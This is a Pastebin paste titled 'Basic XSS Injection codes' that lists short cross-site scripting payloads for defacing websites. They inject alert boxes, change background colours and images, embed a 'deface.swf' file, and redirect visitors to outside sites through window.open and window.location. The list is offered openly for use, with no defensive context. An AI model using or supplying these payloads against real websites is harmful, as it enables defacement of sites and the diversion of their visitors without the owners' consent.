Advertisement
Kyfx

Basic XSS Injection codes

Feb 6th, 2015
1,127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.68 KB | None | 0 0
  1. Alert box: <script>alert("something")</script>
  2.  
  3. Background color : <script>document.body.bgColor="red";</script>
  4.  
  5. Add an image : <IMG SRC="http://cdn.ph.upi.com/sv/i/UPI-7271366914383/2013/1/13669156289586/Judge-denies-FBIs-request-to-hack-a-computer.jpg">
  6.  
  7. Background image<script>document.body.background="http://cdn.ph.upi.com/sv/i/UPI-7271366914383/2013/1/13669156289586/Judge-denies-FBIs-request-to-hack-a-computer.jpg";</script>
  8.  
  9. Redirect to another site : <script>window.open( "http://www.zerozaku.com/" )</script>
  10.  
  11. Redirect webpage: <script>window.location="http://pastehtml.com/view/d6u4ezv3u.html";</script>
  12.  
  13. Add a flash video : <EMBED SRC="http://mywebsite.com/deface.swf"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement